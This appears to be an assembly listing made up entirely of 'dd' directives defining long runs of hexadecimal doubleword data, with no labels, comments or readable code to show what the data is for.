		dd 0FB4478E6h, 618660A1h, 378A3E7Dh, 0CE6FB4C0h, 251CFC6h
		dd 7BC4F86Dh, 0FC803D74h, 0C710B6DDh, 0E758D90Dh, 6BC0F838h
		dd 0E377FCh, 2156F5Eh, 0B2D4F4ADh, 0F3E17300h, 862D0592h
		dd 2E870199h, 8C7B4BF0h, 0BB1420A7h, 82B65324h,	0AA3EF500h
		dd 0B9FD0Fh, 9DE60172h,	0F32A3FF7h, 0ED43DB1Ch,	300032D2h
		dd 4C4F184Ah, 0A2FA00E5h, 94D0D28Bh, 72008D46h,	2D5016E8h
		dd 688685h, 0BFC6DA93h,	0A1C5B764h, 0C0007B7Ch,	3BA6AACh
		dd 0C6576h, 878C5A38h, 66FF7168h, 5F21A500h, 286B7EC7h
		dd 0D85E0063h, 3E9BCB2h, 0E80F2429h, 81B45F0Bh,	0E716058Fh
		dd 94484DCDh, 97760080h, 74B9F9C6h, 11008F26h, 0E3F46336h
		dd 797C7D8Eh, 0F54900DCh, 5379C484h, 0E8E7CD04h, 0DA003DB1h
		dd 0FD60719Eh, 1F1A7Eh,	0F64F66F9h, 0E299279h, 20E29D00h
		dd 0C0BA6B9Bh, 977F03A0h, 76CFBE62h, 8956B8F0h,	0FFA58800h
		dd 9FA90483h, 540A4CCEh, 0DA793501h, 243E2FEFh,	1200AB48h
		dd 4F84E1F5h, 121F3B1h,	886B4C81h, 0D87698DDh, 6C005A7Bh
		dd 78EFDC8Ah, 0B04E1E4Dh, 0EE513086h, 39AF8410h, 8EDF8D03h
		dd 0E9923680h, 48C41270h, 83C89008h, 601011FAh,	22C120B6h
		dd 0A97FEBB8h, 65F30409h, 18BC004Bh, 30EFDE02h,	8CA93258h
		dd 0B80F41B9h, 23E7103Bh, 0C2116BF4h, 1E43400Fh, 26BC008Ah
		dd 0B6FBC552h, 0DC522218h, 31630020h, 0B050520Dh, 12F005FCh
		dd 9398CBC7h, 7004745Ch, 3AF21AC0h, 5434061Fh, 96CA38BAh
		dd 0BC000CF3h, 55B598C4h, 0DFE100A5h, 9D82C33Eh, 42006557h
		dd 0E4906074h, 7C04B3F8h, 11190056h, 80437B0Dh,	0E6004DCEh
		dd 0B7CC8ABh, 0F0E2E774h, 2331C10h, 0DEF4018h, 702FA757h
		dd 28500100h, 9C1C4DE3h, 6A4F00AEh, 0E5FBF8B5h,	1000E237h
		dd 0FE3E3AA6h, 47E472h,	44FC8B4Ah, 0BDBE150Ah, 0DDBC7100h
		dd 9C24055Dh, 8EE80043h, 1FFE1361h, 0B7EA80C1h,	0D94E1503h
		dd 3323D0Bh, 0E38D86A4h, 0A8A39ED1h, 0F8B94280h, 5400E77Dh
		dd 5F6808A2h, 1D029855h, 0C791B57Eh, 90DE0B73h,	0A8FC051h
		dd 0D1FEDF3Ch, 3EB7C894h, 277D2000h, 0E5C855C3h, 0E912035Fh
		dd 313C9A2Eh, 0FD188085h, 7F00BD0Fh, 36A5185Eh,	2EC5D115h
		dd 7AEF0Eh, 0AB35AF24h,	0B37B8439h, 56E1D000h, 0F23F0F3h
		dd 375D00D5h, 0A42F359Ah, 1207E343h, 7AB36D45h,	16F78100h
		dd 0A16900F9h, 9331883Ah, 7D04C125h, 29F13645h,	0ADD1A0C0h
		dd 71F4FFh, 0C201C6A8h,	0F70BD81Ah, 8048C500h, 694DB264h
		dd 0D96B07BFh, 0E01AC69Dh, 0B62FA6CBh, 125B0C00h, 2910C92Dh
		dd 72AF001Ch, 77F521BEh, 7975189Dh, 13D22C00h, 3562CA78h
		dd 2AF60010h, 398FDC59h, 37607BFDh, 51747688h, 802B003Ch
		dd 0BF8D7ADDh, 0B004429h, 0C203553Bh, 2C12CF9Dh, 90D173h
		dd 0D2F96517h, 40CF364Ah, 93B46015h, 324FB1F6h,	72195083h
		dd 660218E0h, 78BA5Ch, 0B7CA4449h, 92E0D692h, 210F0080h
		dd 0BB3B1784h, 660FE84Ch, 0E54D8C42h, 0C809BE9h, 2632079h
		dd 856FE4CEh, 28E446CBh, 5F623F0Fh, 0FBF1C09Dh,	1E6B53Eh
		dd 8F676028h, 0E3B2936Ah, 52A935BBh, 0C2C66057h, 16C098DFh
		dd 9E55DD29h, 0B1B50BC3h, 80870F7Eh, 30A37721h,	0CE025B49h
		dd 68418E00h, 1BA1C07Bh, 0B0B7F86h, 0A82DD075h,	0D0CCD892h
		dd 0AC09AD78h, 4187D5B4h, 0CBCC7BB0h, 0A3DD00F9h, 202A5F8Bh
		dd 16001EFDh, 0E8D39CDEh, 55CCC9Bh, 7C3FB248h, 0FC8C4109h
		dd 0DC147B6Bh, 0C200C3A0h, 84544B7Fh, 38E8B756h, 0D9876E5Fh
		dd 0B0246160h, 287D151Bh, 0DCC83000h, 3CC5D7C0h, 0F698CCh
		dd 1B1E6282h, 0BED32371h, 815A1428h, 4FA56C03h,	9086ACD7h
		dd 4833681Ah, 2401C650h, 7E3AD657h, 0DBFDD029h,	91CB8B28h
		dd 0DEBC1A50h, 55FAD00h, 0F895B4BCh, 0C9E616h, 3FEB0CA1h
		dd 46F6EFE2h, 0E7904800h, 7A124B78h, 42BB2E2Ch,	3AAC852Ch
		dd 11CFC60Fh, 0BF501000h, 68AE2EBCh, 395C17DAh,	4144AD3h
		dd 9A2000ACh, 0DC0DBDA8h, 0C749h, 0B6784791h, 6095E983h
		dd 5DD731E3h, 0B4000B3Bh, 0F988BF56h, 8F3EF3h, 25FF356Dh
		dd 0DA1270Fh, 3C54FC2Eh, 0A34CF83h, 4441007Ch, 0E34E9B9Ah
		dd 0B30072F8h, 14E7B920h, 0DCFF4Ah, 0E6041899h,	68C129A9h
		dd 0F302DE1Dh, 0F2874BC0h, 0DDA456h, 0AA041595h, 0FC695C58h
		dd 7A0BD607h, 0C627EFF7h, 84BBD890h, 0B0E9008Dh, 731033F8h
		dd 58F8CC27h, 20425907h
		dd 6825D054h, 0A1BFA5C0h, 0A7320041h, 8C1D44F5h, 0FD0355A0h
		dd 89A8C88Fh, 0E4312E12h, 0D5F50CA8h, 0AC08A011h, 83484AB7h
		dd 0F00AEEF7h, 5BF5D5A0h, 2DFC5A00h, 4763E2EDh,	99543C61h
		dd 406F491Ch, 37AB8C3Ah, 643C4592h, 0BBE70197h,	5826ED80h
		dd 39CD8870h, 0AE009F0Dh, 303BEFF5h, 24155F2Ch,	2D0F740h
		dd 5D906BAAh, 0AFACA02Ah, 24A6365h, 0D3FCFFCEh,	0E8E0898Fh
		dd 0B700D43Dh, 22B18BF0h, 1C526FFBh, 8092AC79h,	9559976Dh
		dd 8A7D03B4h, 474C8300h, 5E934380h, 97DA0B37h, 0A980213Fh
		dd 83D8AF44h, 69349902h, 0E0D96AB1h, 70203CF0h,	5B1B0CA2h
		dd 0BE30966Fh, 0AB02C700h, 0FF73E0C2h, 80F21E89h, 1B92CDh
		dd 3B12370h, 460EA8ADh,	43B79C0h, 18905795h, 21B72D6h
		dd 1D82587Dh, 39C0FC21h, 0E8C04FC7h, 0A8CA29B0h, 8D11C065h
		dd 391A6807h, 8B4988h, 0CC7D9AD1h, 0B0CBFCECh, 0F9101B09h
		dd 882981F5h, 2FF9EB62h, 9304830h, 4B169EECh, 0E99407h
		dd 55498E5Ah, 22286601h, 0D5C78AA0h, 44709828h,	6B03CB4Dh
		dd 2468144Ah, 58DBC8AAh, 71DD009Eh, 9623E7D8h, 0F900E108h
		dd 5659F788h, 0A216BB9h, 0CE8E80C2h, 1141E9Ch, 0F5F0E27Eh
		dd 0E4C06EBBh, 31723FDh, 0F8D29FDFh, 92A099CDh,	1200D4F3h
		dd 0C3FE32Fh, 0CEF5F1h,	997734C3h, 7CBEE89Ah, 366B8400h
		dd 23A6F8BCh, 859000A9h, 0C39FEDD9h, 0F778E203h, 0F41C2400h
		dd 38E5E4A5h, 82FA1840h, 7B6A80E9h, 2B242A0Bh, 19A02C7Eh
		dd 688F125Fh, 4670006Dh, 1B148D76h, 0D9F7CB00h,	0B2C2DBD1h
		dd 670D0039h, 0EF86E212h, 20606B46h, 2E77B8C9h,	87DA13F0h
		dd 0F81C0085h, 0E32A1159h, 0C9DE4800h, 0B58F5E29h, 0EB3103DBh
		dd 6F444DA1h, 3E747AA8h, 75842509h, 3E00552Ch, 0BD53E5EAh
		dd 3D2619FEh, 47801893h, 451ABFBEh, 722A0EA1h, 739738h
		dd 221BEDF7h, 9F03DDB1h, 0CAF753B5h, 3CCCA01Ah,	738C057Dh
		dd 0C34859h, 0D67B0BFh,	1D03FAACh, 7405ED45h, 0BCC7C8B3h
		dd 6E710085h, 0F55A9BADh, 0D8001C21h, 2EA488EAh, 1E414E7Bh
		dd 3F92DC76h, 61F22900h, 4BEF247Ch, 0B27D5E00h,	1B2FCD9Eh
		dd 0DBA00207h, 3F18FD0Ah, 8481B0C8h, 0CC2E414Ah, 0A4E3C784h
		dd 8780527Ch, 0F2471077h, 3AC07C06h, 0B91C3332h, 8802293Ah
		dd 0AEEE8910h, 0EDB5AC48h, 0BFE1A600h, 9C25A53Dh, 1F18DE99h
		dd 5E3000E5h, 77F47CAEh, 3EBC0407h, 0E920437Ah,	5CE42D47h
		dd 0A60025EFh, 0DEB93B78h, 5900E307h, 5EE4369h,	38BFB186h
		dd 0A6802914h, 0CA09221Fh, 5B0F67F3h, 31D53h, 35D00C9Fh
		dd 23D1002Ah, 835FA644h, 0DCE2BF87h, 0A374C106h, 0E300855h
		dd 20148996h, 401D3C8Fh, 74C72A01h, 5C0775CEh, 0A75B1CFCh
		dd 6C11E210h, 0CA4B000Ah, 99A0135Dh, 315C441Ah,	819700A9h
		dd 0B3FD2AC5h, 644C0B1h, 96E163A6h, 0C7451600h,	0DD1DC687h
		dd 0E6D400ACh, 0EE7CAA38h, 0B80094E5h, 0BD7F5434h, 335C48Bh
		dd 0C61BDD07h, 0A0002614h, 42E3B33Ch, 0CE14C44h, 0DFD40923h
		dd 1B60BB08h, 42ED9320h, 3AE7785h, 0A8ACA9B7h, 95C05A41h
		dd 0BFF0BE03h, 0DA072A0Fh, 40FB2046h, 3D178D7Eh, 3B1EC7C1h
		dd 0A979253h, 87842125h, 0B4D03FBDh, 0BFB68014h, 8CCC89Ch
		dd 0DD2128h, 0A50FCFC7h, 9BDB6D03h, 62CEA90Fh, 0C886E0C2h
		dd 0D07291Ch, 5F461782h, 1D398E88h, 75048764h, 0B53611ECh
		dd 8140BD0Fh, 486B219Fh, 3DF408C6h, 5A2B0020h, 318BEFE6h
		dd 0B603421Fh, 0C34E2A4Ah, 68580026h, 3B5A7E89h, 9E0130E4h
		dd 1AC11827h, 28F4D212h, 53920388h, 850578FCh, 1387100Fh
		dd 0D3B407Bh, 4674A2h, 1BE7503Fh, 0D4935A76h, 0E310B300h
		dd 0E48E2A6Ch, 9A3900ECh, 38440F3h, 4001FEEh, 0BD07CD10h
		dd 0E0D5A0Ah, 5E69E378h, 0CC141340h, 0CF03E174h, 310AB5Dh
		dd 6572A81Bh, 0C5070002h, 31AA634Ch, 0E500C723h, 0C16E75E4h
		dd 7012830h, 0EB7D818Bh, 3BA75044h, 0E4F57A27h,	1200192Ch
		dd 39CC4ADAh, 0FC1F03h,	0CB52E601h, 0DF416910h,	8053883Ch
		dd 0D6B2463Dh, 4E5CDCh,	3C7034E4h, 8BCAE284h, 372DB000h
		dd 80EC96D8h, 5B9000B9h, 146C1D7Bh, 0A300AC7Ah,	0EBA888F6h
		dd 4726A7h, 3256500Bh, 7984148Ah, 42D5EE00h, 311B22DDh
		dd 8E4006Bh, 47942BA2h,	4DFCCE19h, 80E60539h, 723B6CD8h
		dd 7E5821E5h, 0E74A111Dh, 6A007A7Eh, 0EA16EBADh, 3CD6E4Ch
		dd 0FDA4D26h, 8AC18486h, 0D02F2018h, 30C5B700h,	0B5E4037Fh
		dd 327E00CBh, 2D856DD7h, 0AA7CAF7Bh, 80198707h,	58507427h
		dd 796EA123h, 33AB0164h, 0FE0A463Fh, 0E53ECC04h, 0D731E300h
		dd 741F2D63h, 0AA9A0EF2h, 2000F162h, 3D7A3841h,	0C88ED51Fh
		dd 0DF100700h, 1E4DE54Ch, 4CE26706h, 75104B85h,	0AE00E179h
		dd 81DB40DEh, 0DA777h, 244A047Fh, 0C87C2EBBh, 28904300h
		dd 0CCE55B58h, 6D0800E2h, 0CFD78260h, 570705A7h, 93FDDF61h
		dd 0E9A63h, 4A435F40h, 2FFC4573h, 7632917h, 1A81709h, 0C0F3941h
		dd 90BD10DCh, 0FFEC00B8h, 0B76901BFh, 5F260D11h, 3E00AD1Ah
		dd 8813FDCFh, 71784CFFh, 31FB07Bh, 5A94853h, 0ABF8D403h
		dd 4B00227Fh, 74F71629h, 0FA085F2Ch, 463E1F1Ch,	1476CF32h
		dd 9FA464A0h, 0F1000473h, 4D3CAC09h, 18C57251h,	0D083D01Eh
		dd 163A372Ch, 560C1F10h, 0C8C7E9DCh, 3B80B211h,	0F3632C1h
		dd 2ADBBA03h, 99C585h, 37CD2EA4h, 0A0EA8CAFh, 0B3125090h
		dd 700071FFh, 20BFD2D8h, 699C0FB2h, 0BB2090EEh,	0E061C649h
		dd 9F8DC01Dh, 0A4800BDh, 6CF87331h, 0DE380052h,	0EF5A8AFFh
		dd 5F010737h, 263A5B0Dh, 51EDED59h, 3BF19620h, 0FCCB46F4h
		dd 493F7BF9h, 0A13400C7h, 0D762D179h, 1E260040h, 3BEF6EF5h
		dd 0A90A707Bh, 0D4091281h, 0AD25FF81h, 0D1DC3438h, 0D07260BCh
		dd 0E62D99C9h, 0A5B6CF00h, 13C1D0A0h, 96A6305Dh, 732FEE6Ch
		dd 0E7AFD400h, 2DE59734h, 750D002Eh, 0CC3B089Ah, 0C0A8DD13h
		dd 3F0037F7h, 0E4FD2CA6h, 0E8B4E17Ah, 1098482Dh, 3B62409Eh
		dd 596D2E11h, 0A90F2C92h, 0C47DAAFFh, 409336B0h, 243CA099h
		dd 62B602F9h, 59FDEB03h, 0A28D5840h, 761C4677h,	2D80CB1Eh
		dd 0A7EE563Bh, 8EAB009Fh, 0DE698DE9h, 19EA5145h, 9886853Dh
		dd 965892E7h, 7DE300B5h, 9C9D05C2h, 0E17801D8h,	0A0D7371Eh
		dd 2BC91280h, 4C17F7h, 489585E2h, 109104D0h, 58624400h
		dd 0F66CE5E9h, 0A8BD1D23h, 0EABB409Eh, 0CDF83F2Bh, 0AF956400h
		dd 0B1A6E7A3h, 98B20EF3h, 0FF0122BBh, 0D86FEDB8h, 0BC0FC590h
		dd 405C9B8Dh, 1F7F5ED6h, 0DBB71FE8h, 6F06409Ah,	630D4E25h
		dd 0F4D1D907h, 957056F6h, 1F47BAA5h, 8238A1h, 0C37BE7E4h
		dd 7D000328h, 5D3AFB4Bh, 32749C6h, 0B29157D8h, 49057BE8h
		dd 89A3AA86h, 0A4EDFA80h, 129A00C4h, 58E9B013h,	0E2FC231Ah
		dd 75F89E06h, 103A26h, 0DD66B625h, 0EB4F622Dh, 0EDE22201h
		dd 1AADCC6Dh, 0AAF4D4h,	945ABDB0h, 6E045CF0h, 1E7DC700h
		dd 66EF2F68h, 0D931C026h, 43292296h, 75100100h,	711EB9C2h
		dd 2D780020h, 1680E772h, 0B8175853h, 0F4008FA8h, 9D140663h
		dd 7FB70279h, 1C204111h, 4BC0D8AFh, 56AE4AD4h, 0FE2FB0A0h
		dd 0DAB07F00h, 0CABA8896h, 2B400C7Ah, 628053FBh, 3D00D3E2h
		dd 20A56C86h, 0B3546h, 0AD755AEAh, 6EC3C5B4h, 55C2C400h
		dd 0D08BF863h, 0D6CD0EE4h, 11B86CA9h, 0B8004AF1h, 0E2312FA1h
		dd 1C7C1593h
		dd 0C16A504Dh, 0DDD59D3Ch, 5629E0AEh, 17045Ch, 23209657h
		dd 20C7E42h, 78E6F7D3h,	1DFA264h, 1CE2EB12h, 216B1192h
		dd 7036A500h, 0A000DFB4h, 922E79BBh, 3B7BAACh, 7D489DAEh
		dd 9A9B0C4Dh, 73445188h, 0B6B57603h, 0E8B06989h, 0CB78703h
		dd 0C2465D39h, 78BDF168h, 0E9C2Eh, 50E7118Fh, 62507985h
		dd 4E00CFA8h, 0A03B9DD4h, 25FEBh, 1D18CDBEh, 12E04847h
		dd 28645500h, 8EB2AA57h, 0A9292456h, 8B230380h,	0D7C088E4h
		dd 1008381h, 0EFC0CF3Bh, 300AE18Ah, 3B87685h, 0CC0BEC7Fh
		dd 14E74A7h, 961A7DC2h,	784209D8h, 389265D8h, 892F8076h
		dd 0E4A05CE6h, 58012D66h, 0B98F7A7Ch, 0E8FFFF48h, 16AD3745h
		dd 534D10h, 4AB3E6B1h, 6200342Eh, 15A691D0h, 2AB4106h
		dd 9705101Fh, 8440CBFCh, 0E900BA3Ah, 0EEE5A1A4h, 3F3E7518h
		dd 0F0146A72h, 8F3AC407h, 28C06F0Fh, 46107F00h,	8AF61D29h
		dd 4490CC00h, 0F68155D1h, 3F372B8h, 0D7722677h,	28D02BF7h
		dd 700930Fh, 21A09403h,	1CE23644h, 0C0CBE982h, 89656E91h
		dd 0F302C1C2h, 25887C4Bh, 0AF044BA1h, 0B42BD130h, 94F029A6h
		dd 0DD720098h, 36E5912Ah, 8017AD3Fh, 34D0452Dh,	445B1Fh
		dd 0EAA19540h, 8B744B7Ch, 0ECAA4800h, 2645EA3h,	0B87900EFh
		dd 166043F6h, 6F70D570h, 310B6200h, 1C51367Ah, 1F8B0065h
		dd 2A6EB23Dh, 687E1BCFh, 899D123Dh, 883C91h, 985E763Ch
		dd 0DE700F40h, 6A60BDC0h, 0D40FF92Ch, 80BBEE3Bh, 0CF82F6Bh
		dd 71BED5D1h, 0D311C06Fh, 684DB8EFh, 49FF1200h,	855259B5h
		dd 9077858h, 9C0AFE6Eh,	0F0AF1400h, 650008B6h, 0AA93A498h
		dd 240EB461h, 30C31D79h, 98913689h, 14F00C98h, 0F26B7D07h
		dd 0E6412515h, 188F266Fh, 56807516h, 0A7458E7h,	2E9B290Eh
		dd 0AFDEC00Eh, 3E158B19h, 0F10009DCh, 0C1E50B3Dh, 88C0C38Ah
		dd 9E39AA0Eh, 0CF99E88Bh, 0A30A6769h, 98070054h, 94EC0485h
		dd 0AA7B3C19h, 508CB20h, 58074680h, 0C4012FDh, 255D092Dh
		dd 0CF00820Ch, 16DDE3AEh, 2B83B400h, 0D5ECB7B9h, 0D27A03D1h
		dd 0CB88273Eh, 0A35A16E8h, 15B02200h, 5E65CA20h, 85EC00DCh
		dd 60E2B831h, 0F1003EC4h, 184CAB7Bh, 38C849h, 89FA82D8h
		dd 2FFEC3D3h, 33C73600h, 32945056h, 48F500DEh, 6412F885h
		dd 0B0EE5BEDh, 77A8FA07h, 600055C4h, 7CF78188h,	8E66587Eh
		dd 45AC6500h, 0E2D19610h, 0FF97E100h, 0B225A7B9h, 0B69B0032h
		dd 0C16892A3h, 7E010AA0h, 0F69CBCDAh, 0DC428AC4h, 43ADE02Dh
		dd 0EAC6B881h, 12B47F10h, 34658A5h, 0B0FAFD9Ch,	93DB27D8h
		dd 0E962E80Eh, 0DE91E3BBh, 0FAB5C0ACh, 0EF4E00A0h, 0D4C04980h
		dd 9601EE75h, 0CEFE7E51h, 0E360D370h, 0FD9900B5h, 0C3A73CC8h
		dd 7B58B9ACh, 0A40F78B0h, 2317F1DEh, 0B85CABC9h, 3E586BBh
		dd 0FD6081BFh, 78F0C66Ch, 0B600FE74h, 7DAE4919h, 0F5329A0h
		dd 85E0DDDFh, 6A2C46C0h, 0B300E744h, 3E6B82A4h,	1DFE2A3Bh
		dd 0C1539BDBh, 95F1FF9Fh, 0EF2D034h, 39A5DE00h,	0D18920CEh
		dd 2325005Ch, 0F8BE854h, 42048141h, 0B0153750h,	5A5D480h
		dd 7F55009Eh, 0D3918A9Dh, 7A0082AAh, 3C9F4CDEh,	4959B6FAh
		dd 40284C78h, 5B05007Ch, 0CD7F5413h, 5E00932Ah,	4F5ABBCh
		dd 18B21Dh, 776A0C69h, 1B853549h, 59CEC100h, 0C9E5C2FCh
		dd 0AD6E1DA4h, 7638800Dh, 0B6CA9E8Bh, 0A200B892h, 0E87DE0B5h
		dd 0A43ADEh, 60FA0BADh,	34858BE1h, 1BAB4600h, 0C78D8318h
		dd 896A63D5h, 0E6887073h, 9159B748h, 3AD33DBCh,	74FBE04h
		dd 40B382E4h, 0DFE3AD17h, 7649E07Ch, 127D0C39h,	0C49AFCEh
		dd 0E50062EAh, 7814D91Ch, 0ACF185h, 0FA35A503h,	0C0E9D7CEh
		dd 7E219000h, 0BCC69D4Bh, 0B04603ACh, 0B20B4592h, 0E5D54DE0h
		dd 33057C00h, 0A7609717h, 13770C1Fh, 0ACF02E26h, 0D8C344h
		dd 0FB54E3B5h, 0A7F17EBFh, 0C2EABA0Ch, 889123h,	0E061FD8Bh
		dd 97DA3471h, 60664D2Ch, 247700BDh, 5F8E497Dh, 79731C61h
		dd 62CE0630h, 0D3194103h, 0C5311AC9h, 1ACA4C8h,	0DEC189E4h
		dd 0F494B0ADh, 1407074Bh, 9CE6D939h, 75855DD0h,	923801C3h
		dd 4CF4E4D7h, 0C8D0FCEBh, 0A61B4400h, 460F1FC5h, 58040083h
		dd 0DAC4249h, 6802665Fh, 5A7B183Ah, 234468FCh, 83DC1F11h
		dd 2B450109h, 0F016323Ch, 0A60040F7h, 0B490888h, 18EC1336h
		dd 0B8962968h, 9D00018Ah, 0F2E30FB2h, 1C2F3F64h, 80C552E6h
		dd 0BD8CC809h, 5B005030h, 9A6FCEC0h, 36DDF77h, 0FE2244ECh
		dd 4802195Fh, 0D7DB427Ch, 0E650E08Ch, 0F8530070h, 7712F20h
		dd 95180512h, 3D219A68h, 7764000Dh, 0C0759078h,	0F44A17D8h
		dd 0ACC40400h, 0E2AF7CFFh, 0C9B125A2h, 0C302180Bh, 0E0E0D470h
		dd 8000DF85h, 5E8FCCBCh, 0D3742Ch, 78346D9Dh, 8DC85A07h
		dd 8BD41F14h, 87F238C8h, 9AF9EBB6h, 956C1A0h, 8898006Eh
		dd 6973363h, 5B002EB1h,	404A3858h, 357AEDh, 4B321D47h
		dd 0E0E75C51h, 898A6801h, 9EA29CBDh, 391AE3D4h,	6D00CFC4h
		dd 994BD1A6h, 0F0EA8F8h, 0E0CA1CE7h, 22647CDBh,	0DF650045h
		dd 337AA212h, 190014F9h, 3123602Ah, 66ED962h, 0C4304435h
		dd 7F01D282h, 0F8745D1Ah, 71FC5B34h, 108600DCh,	0DEB84D90h
		dd 38C0A1B7h, 87B5D214h, 5F3B3D7Bh, 0FFB1898Fh,	62FA6FDh
		dd 28A06B98h, 4F5A3600h, 83063B27h, 9A940079h, 8DFF1DCFh
		dd 0D900668Ch, 0BB7E2FDBh, 28F8B3C0h, 5CB81E49h, 55DEF0E1h
		dd 0B605D0EEh, 32B8A0h,	0A5EC72E4h, 451217A2h, 0D4805357h
		dd 0E3270ACh, 783765E8h, 1C29CFA0h, 7718FD50h, 9A2E7438h
		dd 0E4D00922h, 0D4986023h, 4D00581Eh, 8B6F64F0h, 12075CFEh
		dd 1F7E59E6h, 0B3C6C20Ah, 84A6379h, 855FDF00h, 44F6B55Dh
		dd 7D593A07h, 8B015B4Dh, 0EED8CDE5h, 0E6850172h, 0A7310582h
		dd 8149E58Eh, 0CD7561C8h, 1187F83Ch, 0B05E321Fh, 7122EB09h
		dd 238FB104h, 7080BBC3h, 0E8A3ABE8h, 0FC11CEDFh, 0D19051A0h
		dd 36006061h, 0D3766389h, 749B1356h, 0F4060617h, 30796998h
		dd 3C414A04h, 48D0ECABh, 5BBC06Fh, 877A1058h, 4A9C005Dh
		dd 394727A6h, 0EEACF7A0h, 0D3F828EEh, 8812B900h, 7F0D82D6h
		dd 53AA0745h, 70DC2667h, 164D8F36h, 700450BFh, 119D1888h
		dd 67F410E8h, 0EABF0300h, 2153441Eh, 0C7750024h, 18B8CE07h
		dd 520748FFh, 0D963D8C1h, 8E81D760h, 0D4760045h, 7586BFD2h
		dd 96009599h, 72E3FBFCh, 3D21E1h, 3B6882F3h, 38D04DAFh
		dd 8C1EF11Eh, 0EE3F5080h, 269CF3BCh, 83D2C5h, 8E78060Ch
		dd 30009D3h, 23053A6Ah,	2125C2h, 9A7FB6F0h, 8AEEC998h
		dd 0A5ED10Fh, 77F64059h, 7C6C5Ah, 0A34E0CE8h, 6476A0Eh
		dd 8159EA00h, 97401C91h, 0D882CF9h, 46BB0078h, 10F3AB77h
		dd 610099EAh, 0B01BF124h, 0A2DBD3h, 0F7B85DCAh,	0CBBE987Dh
		dd 109E2F03h, 0DA547BFDh, 2A986064h, 2CED0087h,	0F72A6CAh
		dd 1998C669h, 8B99F30Fh, 14A800E7h, 533DCDh, 71481C6Dh
		dd 1BF62F8Dh, 7A2A545Ch, 20FF9627h, 7AE64DB8h, 2D2E00FCh
		dd 0E18A3E5Fh, 822DCC7Bh, 1D817891h, 0D74ACEh, 0BBFA9CAEh
		dd 200B4EEAh, 17A0E90h,	3C221D58h, 25A92330h, 0DC248784h
		dd 41C02F14h, 0F19E66BAh, 962D0084h, 397A0C25h,	0CD242F5Dh
		dd 707BC37h, 8E838528h,	811303Ah, 58A45440h, 1E89A600h
		dd 9FEF76EBh, 44360565h, 0C7D822D2h, 0A6A750BEh, 0CBF81FF5h
		dd 0DD582D00h, 52439D59h
		dd 0DECE0069h, 3B1D19A9h, 0A3043EEAh, 66480E7Bh, 380FD4A6h
		dd 1D0885h, 4ADE5925h, 0EC3A0EB1h, 9AB40194h, 0CA36B339h
		dd 9C01282Dh, 1DE06B52h, 7B382DE5h, 16C73700h, 42EBD6B4h
		dd 0B0A4E279h, 9ACC0057h, 0FC81CA78h, 801D3417h, 2241104Dh
		dd 7EA0FED2h, 12520287h, 80409E76h, 7619B26h, 0CF4C100h
		dd 88F3689Ah, 85360057h, 33D3B1A8h, 6500BFB4h, 4A780223h
		dd 0F073CC09h, 8BDA03BDh, 1B0C0332h, 0B26FAF0h,	80B47B38h
		dd 27EF4B73h, 652E7Eh, 6BD56ACCh, 0BD6D9BCh, 70001276h
		dd 9F07BB0h, 0F8FA6EB8h, 3E040E02h, 6CA0A294h, 0E4955BDFh
		dd 0AFB49C0Ch, 0B8B7F8ADh, 5D38005Bh, 8B856807h, 8CCD82Fh
		dd 385821B4h, 0E100384Ah, 9C4308FFh, 0BD00A02Ch, 6B87B107h
		dd 9C39BB5h, 78F4DDB7h,	505660E0h, 0A6676D00h, 9E99AA53h
		dd 7508CC4Bh, 5800B921h, 0A26696Dh, 17703697h, 1B19D995h
		dd 38AB5008h, 0D3A02818h, 8298EE18h, 0C08EE02Fh, 4038C98Ah
		dd 0A6636D54h, 72223346h, 6D5C6500h, 23956C3Ah,	147387h
		dd 6ED17D15h, 9024A953h, 0AB831800h, 2720AE52h,	204FE829h
		dd 76018841h, 0B35FF497h, 3420BA0Eh, 0A38BA336h, 0CA214C65h
		dd 21B15F00h, 0ACB8320h, 8027D138h, 3C2C6436h, 617A766h
		dd 99FBB479h, 0B77F705Bh, 9C5AA000h, 0FA35D533h, 7A090014h
		dd 22FFF54h, 67FAE666h,	925ADF00h, 8E377650h, 0D08500F3h
		dd 250A2297h, 3600091Bh, 9D935DD6h, 50632834h, 7898FE6h
		dd 14FB380Ch, 13FDF0A3h, 0DA0EE2CFh, 0E069247Ch, 100622F0h
		dd 9F0500AAh, 0BCCB431Fh, 400E5D6h, 0CFD09DFFh,	1E3DC92h
		dd 0B96AA80Eh, 0CFC264E1h, 0AE73D7B0h, 8B0071FEh, 76DBB4C7h
		dd 32EE9AFh, 0D9A22982h, 1BDABC9Dh, 0F99CE3C0h,	0FE38A50Fh
		dd 22DF0064h, 0B7809Eh,	5D7C8905h, 8A6301F2h, 0F4E01000h
		dd 0CC9AEC7h, 3006012Fh, 798603CDh, 1D0701Ch, 23741400h
		dd 39427361h, 0E0904Bh,	9A674FEEh, 15A60D38h, 6410EA00h
		dd 0C75927D7h, 0F0780003h, 5D3B4401h, 16380D8Fh, 0BCB90040h
		dd 5AC6A589h, 765C0073h, 3A476F9Dh, 6D1313C1h, 13003DC0h
		dd 9EDB8C7Bh, 2A8D07E6h, 25CD1257h, 1FC1004Bh, 0C0E7BB19h
		dd 0D51BEB1Eh, 697C3D00h, 4C7401h, 2BBE9F77h, 431CF071h
		dd 0BD0093B8h, 1BB8EA2h, 2EA0737h, 0A3B69FF8h, 18C0D680h
		dd 49008126h, 0D82E756Fh, 96A588h, 6778F20Ch, 81191C65h
		dd 6651CE60h, 608B6ECAh, 74642824h, 4800C4C7h, 117005BEh
		dd 58F6E0FAh, 3B18C3F1h, 0DA57515Eh, 2D2B4100h,	29E6CF6Dh
		dd 22A300B8h, 631E7869h, 0DB0083FEh, 0F4498ED7h, 0ECCE7097h
		dd 967098h, 7E532C15h, 388146E4h, 330A0C00h, 1A6D35Dh
		dd 6EEF00E0h, 4A066A41h, 70C04B8Fh, 1FECB030h, 2D30E13h
		dd 56A08B61h, 7B839DF8h, 79007472h, 31AABE9Ah, 3A5D80h
		dd 75DD9E39h, 0F2D5547Fh, 3213500h, 41136308h, 2A8005Eh
		dd 0BF4471CFh, 0AF004691h, 0F52E79DCh, 531B45h,	7336E899h
		dd 6729BB2Ch, 64800B00h, 0AD95611Fh, 0D4A70CDEh, 0BB11506Fh
		dd 0DAE9F100h, 35CC8B20h, 0B834606Ch, 21DC5751h, 0B8D7F407h
		dd 0B2D7DAD4h, 16107F37h, 7D70C901h, 5B2B28F6h,	0FFA500C8h
		dd 12DDC4BAh, 3754728Eh, 9BE278B8h, 0D26D3300h,	6E86B68Ah
		dd 0E6AB03FFh, 0DA721EF9h, 46F415A8h, 7EDCEF00h, 90563147h
		dd 0BA70124Fh, 0B57A00DEh, 92DA427Bh, 0A911B03h, 11B09CBFh
